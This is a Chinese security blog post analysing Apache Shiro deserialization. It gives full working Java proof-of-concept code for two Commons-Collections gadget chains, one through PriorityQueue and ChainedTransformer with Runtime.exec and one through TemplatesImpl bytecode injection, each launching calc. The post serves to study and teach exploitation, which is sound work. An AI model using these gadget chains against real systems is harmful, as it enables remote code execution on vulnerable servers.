• Shiro反序列化漏洞原理&代码分析(3)


    最终POC

    transform链POC

    由于我们要序列化的对象是PriorityQueue,所以我们就先实例化一个该对象 并且赋初值

    1. PriorityQueue priorityQueue = new PriorityQueue(2);
    2. priorityQueue.add(1);
    3. priorityQueue.add(2);

    由于我们最后要调用的是ChainedTransformer对象的transform方法来进行RCE

    1. //ChainedTransformer.transform
    2. public Object transform(Object object) {
    3. for (int i = 0; i < iTransformers.length; i++) {
    4. object = iTransformers[i].transform(object);
    5. }
    6. return object;
    7. }

    所以创建一个ChainedTransformer对象 这个对象为何要这样写在cc链里讲过 就是链式调用

    1. Transformer[] transformers = new Transformer[]{
    2. new ConstantTransformer(Runtime.class),
    3. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    4. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    5. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    6. };
    7. Transformer transformerchain = new ChainedTransformer(transformers);

    由于我们要调用的链条如下

    PriorityQueue.readObject--heapify--siftDown--siftDownUsingComparator(comparator != null)--compare--transform
    1. //PriorityQueue的readObject
    2. private void readObject(java.io.ObjectInputStream s)
    3. throws java.io.IOException, ClassNotFoundException {
    4. // Read in size, and any hidden stuff
    5. s.defaultReadObject();
    6. // Read in (and discard) array length
    7. s.readInt();
    8. queue = new Object[size];
    9. // Read in all elements.
    10. for (int i = 0; i < size; i++)
    11. queue[i] = s.readObject();
    12. // Elements are guaranteed to be in "proper order", but the
    13. // spec has never explained what that might be.
    14. heapify();
    15. }
    16. private void siftDown(int k, E x) {
    17. if (comparator != null)
    18. siftDownUsingComparator(k, x);
    19. else
    20. siftDownComparable(k, x);
    21. }
    22. private void siftDownUsingComparator(int k, E x) {
    23. int half = size >>> 1;
    24. while (k < half) {
    25. int child = (k << 1) + 1;
    26. Object c = queue[child];
    27. int right = child + 1;
    28. if (right < size &&
    29. comparator.compare((E) c, (E) queue[right]) > 0)
    30. c = queue[child = right];
    31. if (comparator.compare(x, (E) c) <= 0)
    32. break;
    33. queue[k] = c;
    34. k = child;
    35. }
    36. queue[k] = x;
    37. }
    38. //TransformingComparator的compare方法
    39. public int compare(I obj1, I obj2) {
    40. O value1 = this.transformer.transform(obj1);
    41. O value2 = this.transformer.transform(obj2);
    42. return this.decorated.compare(value1, value2);
    43. }

    代码中可以看到要完成一条完整的链,需要满足的条件是comparator != null,所以我们的poc中要给priorityQueue设置一个comparator而且是TransformingComparator类的comparator,而这个TransformingComparator的this.transformer需要是ChainedTransformer类的(因为最终是调用ChainedTransformer的transform)所以创建TransformingComparator对象时,传参是传的ChainedTransformer对象也就是transformerchain

    1. TransformingComparator transforming_Comparator = new TransformingComparator(transformerchain);
    2. Field field = priorityQueue.getClass().getDeclaredField("comparator");
    3. field.setAccessible(true);
    4. field.set(priorityQueue,transforming_Comparator);

    那么最终poc就是这样的

    1. public class main {
    2. public static void main(String[] args) throws Exception {
    3. Object cc1 = CC1();
    4. serialize(cc1);
    5. unserialize("ser.bin");
    6. }
    7. static Object CC1() throws Exception{
    8. Transformer[] transformers = new Transformer[]{
    9. new ConstantTransformer(Runtime.class),
    10. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    11. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    12. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    13. };
    14. Transformer transformerchain = new ChainedTransformer(transformers);
    15. PriorityQueue priorityQueue = new PriorityQueue(2);
    16. priorityQueue.add(1);
    17. priorityQueue.add(2);
    18. TransformingComparator transforming_Comparator = new TransformingComparator(transformerchain);
    19. Field field = priorityQueue.getClass().getDeclaredField("comparator");
    20. field.setAccessible(true);
    21. field.set(priorityQueue,transforming_Comparator);
    22. return priorityQueue;
    23. }
    24. public static void serialize(Object obj) throws IOException {
    25. ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    26. oos.writeObject(obj);
    27. }
    28. public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
    29. ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
    30. return ois.readObject();
    31. }
    32. }

    效果如图

    InvokerTransformer

    TemplatesImpl链的POC

    相比调用ChainedTransformer的更加transform的POC要简单一些因为不用去链式调用了嘛,我们只用最后调用一下InvokerTransformer的transform方法实例化一个对象就好了

    所以就要实例化一个InvokerTransformer对象并且传给transformer_comparator

    1. InvokerTransformer transformer = new InvokerTransformer(newTransformer",null,null);
    2. TransformingComparator transformer_comparator = new TransformingComparator(transformer);

    创建PriorityQueue对象 并add TemplatesImpl_instance(RCE类) 以便compare的时候传入RCE类对象然后transform(TemplatesImpl_instance) 去实例化RCE类的对象

    1. PriorityQueue queue = new PriorityQueue(2,transformer_comparator);
    2. queue.add(TemplatesImpl_instance);
    3. queue.add(TemplatesImpl_instance);

    最终就调用了InvokerTransformer的transform方法 实例化了一个RCE类

    最终POC

    1. public class main {
    2. public static void main(String[] args) throws Exception {
    3. Object cc2 = CC2();
    4. serialize(cc2);
    5. unserialize("ser.bin");
    6. }
    7. static Object CC2() throws Exception{
    8. ClassPool classPool = ClassPool.getDefault();
    9. CtClass ctClass = classPool.getCtClass("RCE");
    10. byte[] bytes = ctClass.toBytecode();
    11. TemplatesImpl TemplatesImpl_instance = new TemplatesImpl();
    12. Class aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
    13. Field bytecodes = aClass.getDeclaredField("_bytecodes");
    14. bytecodes.setAccessible(true);
    15. bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
    16. Field name = aClass.getDeclaredField("_name");
    17. name.setAccessible(true);
    18. name.set(TemplatesImpl_instance , "ting");
    19. Field tfactory = aClass.getDeclaredField("_tfactory");
    20. tfactory.setAccessible(true);
    21. tfactory.set(TemplatesImpl_instance , new TransformerFactoryImpl());
    22. InvokerTransformer transformer = new InvokerTransformer("newTransformer",null,null);
    23. TransformingComparator transformer_comparator = new TransformingComparator(transformer);
    24. PriorityQueue queue = new PriorityQueue(2,transformer_comparator);
    25. queue.add(TemplatesImpl_instance);
    26. queue.add(TemplatesImpl_instance);
    27. return queue;
    28. }
    29. public static void serialize(Object obj) throws IOException {
    30. ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    31. oos.writeObject(obj);
    32. }
    33. public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
    34. ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
    35. return ois.readObject();
    36. }
    37. }

    效果图

  • 相关阅读:
    跑步时戴什么耳机好、分享五款最适合跑步的运动耳机排名清单
    R语言使用plot函数可视化数据散点图,通过axis函数添加X轴坐标轴(add x axis)
    C# 预处理器指令详解与示例
    [附源码]SSM计算机毕业设计商场日常维修管理系统JAVA
    操作系统【OS】中断和异常
    web3 React dapp项目通过事件从区块链中拿到 已取消 已完成 和所有的订单数据 并存入redux中
    【To .NET】.NET Core Web API开发流程知识点整理[进阶]
    display:grid; grid-auto-flow:column; 时, justify-content 的效果 221028
    Android Studio 插件开发1、创建标题 通知等
    YOLOV7改进-具有隐式知识学习的Efficient解耦头
  • 原文地址:https://blog.csdn.net/qq_63217130/article/details/136316262